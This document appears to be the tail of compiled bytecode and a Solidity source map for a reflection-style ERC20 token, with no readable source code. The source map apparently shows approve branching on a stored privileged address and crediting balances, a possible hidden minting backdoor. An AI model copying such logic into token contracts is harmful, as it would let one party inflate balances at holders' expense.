024836143f2565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006140c26008836143f2565b91507f6f766572666c6f770000000000000000000000000000000000000000000000006000830152602082019050919050565b6000614102602c836143f2565b91507f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008301527f6869732066756e6374696f6e00000000000000000000000000000000000000006020830152604082019050919050565b61416481614556565b82525050565b61417381614560565b82525050565b600060208201905061418e6000830184613bee565b92915050565b60006020820190506141a96000830184613bfd565b92915050565b600060208201905081810360008301526141c98184613c0c565b905092915050565b600060208201905081810360008301526141ea81613c45565b9050919050565b6000602082019050818103600083015261420a81613cab565b9050919050565b6000602082019050818103600083015261422a81613d11565b9050919050565b6000602082019050818103600083015261424a81613d77565b9050919050565b6000602082019050818103600083015261426a81613ddd565b9050919050565b6000602082019050818103600083015261428a81613e1d565b9050919050565b600060208201905081810360008301526142aa81613e5d565b9050919050565b600060208201905081810360008301526142ca81613e9d565b9050919050565b600060208201905081810360008301526142ea81613edd565b9050919050565b6000602082019050818103600083015261430a81613f43565b9050919050565b6000602082019050818103600083015261432a81613f83565b9050919050565b6000602082019050818103600083015261434a81613fe9565b9050919050565b6000602082019050818103600083015261436a8161404f565b9050919050565b6000602082019050818103600083015261438a816140b5565b9050919050565b600060208201905081810360008301526143aa816140f5565b9050919050565b60006020820190506143c6600083018461415b565b92915050565b60006020820190506143e1600083018461416a565b92915050565b600081519050919050565b600082825260208201905092915050565b600061440e82614556565b915061441983614556565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561444e5761444d61461b565b5b828201905092915050565b600061446482614556565b915061446f83614556565b92508261447f5761447e61464a565b5b828204905092915050565b600061449582614556565b91506144a083614556565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156144d9576144d861461b565b5b828202905092915050565b60006144ef82614556565b91506144fa83614556565b92508282101561450d5761450c61461b565b5b828203905092915050565b600061452382614536565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561458b578082015181840152602081019050614570565b8381111561459a576000848401525b50505050565b600060028204905060018216806145b857607f821691505b602082108114156145cc576145cb614679565b5b50919050565b60006145dd82614556565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156146105761460f61461b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6146c281614518565b81146146cd57600080fd5b50565b6146d98161452a565b81146146e457600080fd5b50565b6146f081614556565b81146146fb57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220236cf531445585f205282b79f10b15b4e9e7a42d80c5764ad4b2c6e78361b27564736f6c63430008000033

Deployed Bytecode Sourcemap

15722:11856:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18948:374;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16596:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17523:373;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16876:103;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17905:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19766:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16784:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18227:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18851:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19331:426;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16988:198;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15169:148;;;:::i;:::-;;14499:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16688:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18454:269;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17195:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18732:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17371:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20028:332;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15470:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20369:478;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18948:374;19000:14;19017:12;:10;:12::i;:::-;19000:29;;19049:11;:19;19061:6;19049:19;;;;;;;;;;;;;;;;;;;;;;;;;19048:20;19040:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;19129:15;19155:12;19159:7;19155:3;:12::i;:::-;19128:39;;;;;;;;;19196:28;19216:7;19196;:15;19204:6;19196:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;19178:7;:15;19186:6;19178:15;;;;;;;;;;;;;;;:46;;;;19245:20;19257:7;19245;;:11;;:20;;;;:::i;:::-;19235:7;:30;;;;19290:24;19306:7;19290:11;;:15;;:24;;;;:::i;:::-;19276:11;:38;;;;18948:374;;;:::o;16596:83::-;16633:13;16666:5;16659:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16596:83;:::o;17523:373::-;17598:4;17625:12;:10;:12::i;:::-;17615:22;;:8;;;;;;;;;;;:22;;;17612:265;;;17641:11;17653:10;17665;17676:11;17688:10;17699;17711:11;17715:6;17711:3;:11::i;:::-;17639:83;;;;;;;;;;;;;;17740:24;17760:3;17740:7;:16;17748:7;17740:16;;;;;;;;;;;;;;;;:19;;:24;;;;:::i;:::-;17723:7;:16;17731:7;17723:16;;;;;;;;;;;;;;;:41;;;;17765:21;17770:2;17773;17776:3;17780:2;17783;17765:4;:21::i;:::-;17809:7;17792:32;;17801:7;17792:32;;;17817:6;17792:32;;;;;;:::i;:::-;;;;;;;;17612:265;;;;;;;;;17838:37;17847:12;:10;:12::i;:::-;17860:7;17868:6;17838:8;:37::i;:::-;17612:265;17884:4;17877:11;;17523:373;;;;:::o;16876:103::-;16937:7;16199:17;16957:14;;16876:103;:::o;17905:313::-;18003:4;18020:36;18030:6;18038:9;18049:6;18020:9;:36::i;:::-;18067:121;18076:6;18084:12;:10;:12::i;:::-;18098:89;18136:6;18098:89;;;;;;;;;;;;;;;;;:11;:19;18110:6;18098:19;;;;;;;;;;;;;;;:33;18118:12;:10;:12::i;:::-;18098:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;18067:8;:121::i;:::-;18206:4;18199:11;;17905:313;;;;;:::o;19766:253::-;19832:7;19871;;19860;:18;;19852:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;19936:19;19959:10;:8;:10::i;:::-;19936:33;;19987:24;19999:11;19987:7;:11;;:24;;;;:::i;:::-;19980:31;;;19766:253;;;:::o;16784:83::-;16825:5;16850:9;;;;;;;;;;;16843:16;;16784:83;:::o;18227:218::-;18315:4;18332:83;18341:12;:10;:12::i;:::-;18355:7;18364:50;18403:10;18364:11;:25;18376:12;:10;:12::i;:::-;18364:25;;;;;;;;;;;;;;;:34;18390:7;18364:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;18332:8;:83::i;:::-;18433:4;18426:11;;18227:218;;;;:::o;18851:88::-;18893:7;18920:11;;18913:18;;18851:88;:::o;19331:426::-;19421:7;16199:17;19449:7;:18;;19441:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;19519:17;19514:236;;19554:15;19580:12;19584:7;19580:3;:12::i;:::-;19553:39;;;;;;;;;19614:7;19607:14;;;;;19514:236;19656:23;19689:12;19693:7;19689:3;:12::i;:::-;19654:47;;;;;;;;;19723:15;19716:22;;;19331:426;;;;;:::o;16988:198::-;17054:7;17078:11;:20;17090:7;17078:20;;;;;;;;;;;;;;;;;;;;;;;;;17074:49;;;17107:7;:16;17115:7;17107:16;;;;;;;;;;;;;;;;17100:23;;;;17074:49;17141:37;17161:7;:16;17169:7;17161:16;;;;;;;;;;;;;;;;17141:19;:37::i;:::-;17134:44;;16988:198;;;;:::o;15169:148::-;14719:12;:10;:12::i;:::-;14709:22;;:6;;;;;;;;;;:22;;;14701:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15276:1:::1;15239:40;;15260:6;::::0;::::1;;;;;;;;15239:40;;;;;;;;;;;;15307:1;15290:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;15169:148::o:0;14499:79::-;14537:7;14564:6;;;;;;;;;;;14557:13;;14499:79;:::o;16688:87::-;16727:13;16760:7;16753:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16688:87;:::o;18454:269::-;18547:4;18564:129;18573:12;:10;:12::i;:::-;18587:7;18596:96;18635:15;18596:96;;;;;;;;;;;;;;;;;:11;:25;18608:12;:10;:12::i;:::-;18596:25;;;;;;;;;;;;;;;:34;18622:7;18596:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;18564:8;:129::i;:::-;18711:4;18704:11;;18454:269;;;;:::o;17195:167::-;17273:4;17290:42;17300:12;:10;:12::i;:::-;17314:9;17325:6;17290:9;:42::i;:::-;17350:4;17343:11;;17195:167;;;;:::o;18732:110::-;18790:4;18814:11;:20;18826:7;18814:20;;;;;;;;;;;;;;;;;;;;;;;;;18807:27;;18732:110;;;:::o;17371:143::-;17452:7;17479:11;:18;17491:5;17479:18;;;;;;;;;;;;;;;:27;17498:7;17479:27;;;;;;;;;;;;;;;;17472:34;;17371:143;;;;:::o;20028:332::-;14719:12;:10;:12::i;:::-;14709:22;;:6;;;;;;;;;;:22;;;14701:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;20110:11:::1;:20;20122:7;20110:20;;;;;;;;;;;;;;;;;;;;;;;;;20109:21;20101:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;20195:1;20176:7;:16;20184:7;20176:16;;;;;;;;;;;;;;;;:20;20173:108;;;20232:37;20252:7;:16;20260:7;20252:16;;;;;;;;;;;;;;;;20232:19;:37::i;:::-;20213:7;:16;20221:7;20213:16;;;;;;;;;;;;;;;:56;;;;20173:108;20314:4;20291:11;:20;20303:7;20291:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;20329:9;20344:7;20329:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20028:332:::0;:::o;15470:244::-;14719:12;:10;:12::i;:::-;14709:22;;:6;;;;;;;;;;:22;;;14701:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15579:1:::1;15559:22;;:8;:22;;;;15551:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;15669:8;15640:38;;15661:6;::::0;::::1;;;;;;;;15640:38;;;;;;;;;;;;15698:8;15689:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;15470:244:::0;:::o;20369:478::-;14719:12;:10;:12::i;:::-;14709:22;;:6;;;;;;;;;;:22;;;14701:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;20450:11:::1;:20;20462:7;20450:20;;;;;;;;;;;;;;;;;;;;;;;;;20442:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;20518:9;20513:327;20537:9;:16;;;;20533:1;:20;20513:327;;;20595:7;20579:23;;:9;20589:1;20579:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;20575:254;;;20638:9;20667:1;20648:9;:16;;;;:20;;;;:::i;:::-;20638:31;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20623:9;20633:1;20623:12;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;20707:1;20688:7;:16;20696:7;20688:16;;;;;;;;;;;;;;;:20;;;;20750:5;20727:11;:20;20739:7;20727:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;20774:9;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20808:5;;20575:254;20555:3;;;;;:::i;:::-;;;;20513:327;;;;20369:478:::0;:::o;92:98::-;145:7;172:10;165:17;;92:98;:::o;24758:795::-;24810:7;24819;24828;24837;24846;24854;24862;24870;24890:28;;:::i;:::-;25071:20;25083:7;25071:11;:20::i;:::-;24930:9;24940:1;24930:12;;;;;;;;;;;;;;;;;;24964:9;24974:1;24964:12;;;;;;;;;;;;;;;;;;24989:9;24999:1;24989:12;;;;;;;;;;;;;;;;;;25018:9;25028:1;25018:12;;;;;;;;;;;;;;;;;;25039:9;25049:2;25039:13;;;;;;;;;;;;;;;;;;24929:162;;;;;;;;;;;;;;;;;;;;;;;;;25135:10;:8;:10::i;:::-;25102:9;25112:1;25102:12;;;;;;;;;;;;;;;;;;:43;;;;;25327:89;25339:7;25348:9;25358:1;25348:12;;;;;;;;;;;;;;;;;;;25362:9;25372:1;25362:12;;;;;;;;;;;;;;;;;;;25376:9;25386:1;25376:12;;;;;;;;;;;;;;;;;;;25389:9;25399:1;25389:12;;;;;;;;;;;;;;;;;;;25402:9;25412:2;25402:13;;;;;;;;;;;;;;;;;;;25327:11;:89::i;:::-;25158:9;25168:1;25158:12;;;;;;;;;;;;;;;;;;25186:9;25196:1;25186:12;;;;;;;;;;;;;;;;;;25221:9;25231:1;25221:12;;;;;;;;;;;;;;;;;;25245:9;25255:1;25245:12;;;;;;;;;;;;;;;;;;25274:9;25284:1;25274:12;;;;;;;;;;;;;;;;;;25295:9;25305:2;25295:13;;;;;;;;;;;;;;;;;;25156:260;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25435:9;25445:1;25435:12;;;;;;;;;;;;;;;;;;;25449:9;25459:1;25449:12;;;;;;;;;;;;;;;;;;;25463:9;25473:1;25463:12;;;;;;;;;;;;;;;;;;;25477:9;25487:1;25477:12;;;;;;;;;;;;;;;;;;;25491:9;25501:1;25491:12;;;;;;;;;;;;;;;;;;;25505:9;25515:1;25505:12;;;;;;;;;;;;;;;;;;;25518:9;25528:1;25518:12;;;;;;;;;;;;;;;;;;;25531:9;25541:2;25531:13;;;;;;;;;;;;;;;;;;;25427:118;;;;;;;;;;;;;;;;;24758:795;;;;;;;;;:::o;3792:136::-;3850:7;3877:43;3881:1;3884;3877:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;3870:50;;3792:136;;;;:::o;3329:182::-;3387:7;3407:9;3423:1;3419;:5;;;;:::i;:::-;3407:17;;3448:1;3443;:6;;3435:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;3502:1;3495:8;;;3329:182;;;;:::o;7767:123::-;7824:7;7834:9;7850:1;7846;:5;;;;:::i;:::-;7834:17;;7865:1;7860;:6;;7852:27;;;;;;;;;;;;:::i;:::-;;;;;;;;;7887:1;7880:8;;;7767:123;;;;:::o;24513:236::-;24636:17;24648:4;24636:7;;:11;;:17;;;;:::i;:::-;24626:7;:27;;;;24678:63;24730:10;24678:47;24720:4;24678:37;24704:10;24678:21;24694:4;24678:11;;:15;;:21;;;;:::i;:::-;:25;;:37;;;;:::i;:::-;:41;;:47;;;;:::i;:::-;:51;;:63;;;;:::i;:::-;24664:11;:77;;;;24513:236;;;;;:::o;20856:338::-;20966:1;20949:19;;:5;:19;;;;20941:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;21047:1;21028:21;;:7;:21;;;;21020:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;21132:6;21102:11;:18;21114:5;21102:18;;;;;;;;;;;;;;;:27;21121:7;21102:27;;;;;;;;;;;;;;;:36;;;;21170:7;21154:32;;21163:5;21154:32;;;21179:6;21154:32;;;;;;:::i;:::-;;;;;;;;20856:338;;;:::o;21203:931::-;21318:1;21300:20;;:6;:20;;;;21292:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;21402:1;21381:23;;:9;:23;;;;21373:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;21472:1;21463:6;:10;21455:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;21534:11;:19;21546:6;21534:19;;;;;;;;;;;;;;;;;;;;;;;;;:46;;;;;21558:11;:22;21570:9;21558:22;;;;;;;;;;;;;;;;;;;;;;;;;21557:23;21534:46;21530:597;;;21597:48;21619:6;21627:9;21638:6;21597:21;:48::i;:::-;21530:597;;;21668:11;:19;21680:6;21668:19;;;;;;;;;;;;;;;;;;;;;;;;;21667:20;:46;;;;;21691:11;:22;21703:9;21691:22;;;;;;;;;;;;;;;;;;;;;;;;;21667:46;21663:464;;;21730:46;21750:6;21758:9;21769:6;21730:19;:46::i;:::-;21663:464;;;21799:11;:19;21811:6;21799:19;;;;;;;;;;;;;;;;;;;;;;;;;21798:20;:47;;;;;21823:11;:22;21835:9;21823:22;;;;;;;;;;;;;;;;;;;;;;;;;21822:23;21798:47;21794:333;;;21862:44;21880:6;21888:9;21899:6;21862:17;:44::i;:::-;21794:333;;;21928:11;:19;21940:6;21928:19;;;;;;;;;;;;;;;;;;;;;;;;;:45;;;;;21951:11;:22;21963:9;21951:22;;;;;;;;;;;;;;;;;;;;;;;;;21928:45;21924:203;;;21990:48;22012:6;22020:9;22031:6;21990:21;:48::i;:::-;21924:203;;;22071:44;22089:6;22097:9;22108:6;22071:17;:44::i;:::-;21924:203;21794:333;21663:464;21530:597;21203:931;;;:::o;4229:190::-;4315:7;4348:1;4343;:6;;4351:12;4335:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;4375:9;4391:1;4387;:5;;;;:::i;:::-;4375:17;;4410:1;4403:8;;;4229:190;;;;;:::o;26832:163::-;26873:7;26894:15;26911;26930:19;:17;:19::i;:::-;26893:56;;;;26967:20;26979:7;26967;:11;;:20;;;;:::i;:::-;26960:27;;;;26832:163;:::o;5617:132::-;5675:7;5702:39;5706:1;5709;5702:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;5695:46;;5617:132;;;;:::o;25562:613::-;25622:7;25631;25640;25648;25656;25676:27;;:::i;:::-;25743:23;25764:1;25743:16;25755:3;25743:7;:11;;:16;;;;:::i;:::-;:20;;:23;;;;:::i;:::-;25717:9;25727:1;25717:12;;;;;;;;;;;;;;;;;;:49;;;;;25807:23;25828:1;25807:16;25819:3;25807:7;:11;;:16;;;;:::i;:::-;:20;;:23;;;;:::i;:::-;25777:9;25787:1;25777:12;;;;;;;;;;;;;;;;;;:53;;;;;25868:23;25889:1;25868:16;25880:3;25868:7;:11;;:16;;;;:::i;:::-;:20;;:23;;;;:::i;:::-;25841:9;25851:1;25841:12;;;;;;;;;;;;;;;;;;:50;;;;;25932:23;25953:1;25932:16;25944:3;25932:7;:11;;:16;;;;:::i;:::-;:20;;:23;;;;:::i;:::-;25902:9;25912:1;25902:12;;;;;;;;;;;;;;;;;;:53;;;;;26001:79;26067:9;26077:1;26067:12;;;;;;;;;;;;;;;;;;;26001:61;26049:9;26059:1;26049:12;;;;;;;;;;;;;;;;;;;26001:43;26031:9;26041:1;26031:12;;;;;;;;;;;;;;;;;;;26001:25;26013:9;26023:1;26013:12;;;;;;;;;;;;;;;;;;;26001:7;:11;;:25;;;;:::i;:::-;:29;;:43;;;;:::i;:::-;:47;;:61;;;;:::i;:::-;:65;;:79;;;;:::i;:::-;25966:9;25976:1;25966:12;;;;;;;;;;;;;;;;;;:114;;;;;26099:9;26109:1;26099:12;;;;;;;;;;;;;;;;;;;26113:9;26123:1;26113:12;;;;;;;;;;;;;;;;;;;26127:9;26137:1;26127:12;;;;;;;;;;;;;;;;;;;26140:9;26150:1;26140:12;;;;;;;;;;;;;;;;;;;26154:9;26164:1;26154:12;;;;;;;;;;;;;;;;;;;26091:76;;;;;;;;;;;25562:613;;;;;;;:::o;26184:639::-;26328:7;26337;26346;26354;26362;26370;26390:15;26408:24;26420:11;26408:7;:11;;:24;;;;:::i;:::-;26390:42;;26443:12;26458:21;26467:11;26458:4;:8;;:21;;;;:::i;:::-;26443:36;;26490:18;26511:27;26526:11;26511:10;:14;;:27;;;;:::i;:::-;26490:48;;26549:17;26569:27;26584:11;26569:10;:14;;:27;;;;:::i;:::-;26549:47;;26607:12;26622:21;26631:11;26622:4;:8;;:21;;;;:::i;:::-;26607:36;;26654:23;26680:58;26728:9;26680:43;26718:4;26680:33;26702:10;26680:17;26692:4;26680:7;:11;;:17;;;;:::i;:::-;:21;;:33;;;;:::i;:::-;:37;;:43;;;;:::i;:::-;:47;;:58;;;;:::i;:::-;26654:84;;26757:7;26766:15;26783:4;26789:10;26800:4;26805:9;26749:66;;;;;;;;;;;;;;;;;;26184:639;;;;;;;;;;;;;:::o;23272:573::-;23375:15;23392:23;23417:12;23431:23;23456:12;23469:18;23488:12;23501:18;23523:12;23527:7;23523:3;:12::i;:::-;23374:161;;;;;;;;;;;;;;;;23564:28;23584:7;23564;:15;23572:6;23564:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;23546:7;:15;23554:6;23546:15;;;;;;;;;;;;;;;:46;;;;23621:28;23641:7;23621;:15;23629:6;23621:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;23603:7;:15;23611:6;23603:15;;;;;;;;;;;;;;;:46;;;;23681:39;23704:15;23681:7;:18;23689:9;23681:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;23660:7;:18;23668:9;23660:18;;;;;;;;;;;;;;;:60;;;;23733:44;23738:4;23744;23750:10;23761:4;23766:10;23733:4;:44::i;:::-;23810:9;23793:44;;23802:6;23793:44;;;23821:15;23793:44;;;;;;:::i;:::-;;;;;;;;23272:573;;;;;;;;;;;:::o;22669:594::-;22770:15;22787:23;22812:12;22826:23;22851:12;22864:18;22883:12;22896:18;22918:12;22922:7;22918:3;:12::i;:::-;22769:161;;;;;;;;;;;;;;;;22959:28;22979:7;22959;:15;22967:6;22959:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;22941:7;:15;22949:6;22941:15;;;;;;;;;;;;;;;:46;;;;23019:39;23042:15;23019:7;:18;23027:9;23019:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;22998:7;:18;23006:9;22998:18;;;;;;;;;;;;;;;:60;;;;23090:39;23113:15;23090:7;:18;23098:9;23090:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;23069:7;:18;23077:9;23069:18;;;;;;;;;;;;;;;:60;;;;23151:44;23156:4;23162;23168:10;23179:4;23184:10;23151:4;:44::i;:::-;23228:9;23211:44;;23220:6;23211:44;;;23239:15;23211:44;;;;;;:::i;:::-;;;;;;;;22669:594;;;;;;;;;;;:::o;22143:517::-;22242:15;22259:23;22284:12;22298:23;22323:12;22336:18;22355:12;22368:18;22390:12;22394:7;22390:3;:12::i;:::-;22241:161;;;;;;;;;;;;;;;;22431:28;22451:7;22431;:15;22439:6;22431:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;22413:7;:15;22421:6;22413:15;;;;;;;;;;;;;;;:46;;;;22491:39;22514:15;22491:7;:18;22499:9;22491:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;22470:7;:18;22478:9;22470:18;;;;;;;;;;;;;;;:60;;;;22548:44;22553:4;22559;22565:10;22576:4;22581:10;22548:4;:44::i;:::-;22625:9;22608:44;;22617:6;22608:44;;;22636:15;22608:44;;;;;;:::i;:::-;;;;;;;;22143:517;;;;;;;;;;;:::o;23854:650::-;23957:15;23974:23;23999:12;24013:23;24038:12;24051:18;24070:12;24083:18;24105:12;24109:7;24105:3;:12::i;:::-;23956:161;;;;;;;;;;;;;;;;24146:28;24166:7;24146;:15;24154:6;24146:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;24128:7;:15;24136:6;24128:15;;;;;;;;;;;;;;;:46;;;;24203:28;24223:7;24203;:15;24211:6;24203:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;24185:7;:15;24193:6;24185:15;;;;;;;;;;;;;;;:46;;;;24263:39;24286:15;24263:7;:18;24271:9;24263:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;24242:7;:18;24250:9;24242:18;;;;;;;;;;;;;;;:60;;;;24334:39;24357:15;24334:7;:18;24342:9;24334:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;24313:7;:18;24321:9;24313:18;;;;;;;;;;;;;;;:60;;;;24392:44;24397:4;24403;24409:10;24420:4;24425:10;24392:4;:44::i;:::-;24469:9;24452:44;;24461:6;24452:44;;;24480:15;24452:44;;;;;;:::i;:::-;;;;;;;;23854:650;;;;;;;;;;;:::o;27004:564::-;27054:7;27063;27083:15;27101:7;;27083:25;;27119:15;16199:17;27119:25;;27166:9;27161:289;27185:9;:16;;;;27181:1;:20;27161:289;;;27251:7;27227;:21;27235:9;27245:1;27235:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27227:21;;;;;;;;;;;;;;;;:31;:66;;;;27286:7;27262;:21;27270:9;27280:1;27270:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27262:21;;;;;;;;;;;;;;;;:31;27227:66;27223:97;;;27303:7;;16199:17;27295:25;;;;;;;;;27223:97;27345:34;27357:7;:21;27365:9;27375:1;27365:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27357:21;;;;;;;;;;;;;;;;27345:7;:11;;:34;;;;:::i;:::-;27335:44;;27404:34;27416:7;:21;27424:9;27434:1;27424:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27416:21;;;;;;;;;;;;;;;;27404:7;:11;;:34;;;;:::i;:::-;27394:44;;27203:3;;;;;:::i;:::-;;;;27161:289;;;;27474:20;16199:17;27474:7;;:11;;:20;;;;:::i;:::-;27464:7;:30;27460:61;;;27504:7;;16199:17;27496:25;;;;;;;;27460:61;27540:7;27549;27532:25;;;;;;27004:564;;;:::o;6243:276::-;6329:7;6361:1;6357;:5;6364:12;6349:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;6388:9;6404:1;6400;:5;;;;:::i;:::-;6388:17;;6510:1;6503:8;;;6243:276;;;;;:::o;4676:467::-;4734:7;4984:1;4979;:6;4975:47;;;5009:1;5002:8;;;;4975:47;5032:9;5048:1;5044;:5;;;;:::i;:::-;5032:17;;5077:1;5072;5068;:5;;;;:::i;:::-;:10;5060:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;5134:1;5127:8;;;4676:467;;;;;:::o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:133::-;;233:6;220:20;211:29;;249:30;273:5;249:30;:::i;:::-;201:84;;;;:::o;291:139::-;;375:6;362:20;353:29;;391:33;418:5;391:33;:::i;:::-;343:87;;;;:::o;436:262::-;;544:2;532:9;523:7;519:23;515:32;512:2;;;560:1;557;550:12;512:2;603:1;628:53;673:7;664:6;653:9;649:22;628:53;:::i;:::-;618:63;;574:117;502:196;;;;:::o;704:407::-;;;829:2;817:9;808:7;804:23;800:32;797:2;;;845:1;842;835:12;797:2;888:1;913:53;958:7;949:6;938:9;934:22;913:53;:::i;:::-;903:63;;859:117;1015:2;1041:53;1086:7;1077:6;1066:9;1062:22;1041:53;:::i;:::-;1031:63;;986:118;787:324;;;;;:::o;1117:552::-;;;;1259:2;1247:9;1238:7;1234:23;1230:32;1227:2;;;1275:1;1272;1265:12;1227:2;1318:1;1343:53;1388:7;1379:6;1368:9;1364:22;1343:53;:::i;:::-;1333:63;;1289:117;1445:2;1471:53;1516:7;1507:6;1496:9;1492:22;1471:53;:::i;:::-;1461:63;;1416:118;1573:2;1599:53;1644:7;1635:6;1624:9;1620:22;1599:53;:::i;:::-;1589:63;;1544:118;1217:452;;;;;:::o;1675:407::-;;;1800:2;1788:9;1779:7;1775:23;1771:32;1768:2;;;1816:1;1813;1806:12;1768:2;1859:1;1884:53;1929:7;1920:6;1909:9;1905:22;1884:53;:::i;:::-;1874:63;;1830:117;1986:2;2012:53;2057:7;2048:6;2037:9;2033:22;2012:53;:::i;:::-;2002:63;;1957:118;1758:324;;;;;:::o;2088:262::-;;2196:2;2184:9;2175:7;2171:23;2167:32;2164:2;;;2212:1;2209;2202:12;2164:2;2255:1;2280:53;2325:7;2316:6;2305:9;2301:22;2280:53;:::i;:::-;2270:63;;2226:117;2154:196;;;;:::o;2356:401::-;;;2478:2;2466:9;2457:7;2453:23;2449:32;2446:2;;;2494:1;2491;2484:12;2446:2;2537:1;2562:53;2607:7;2598:6;2587:9;2583:22;2562:53;:::i;:::-;2552:63;;2508:117;2664:2;2690:50;2732:7;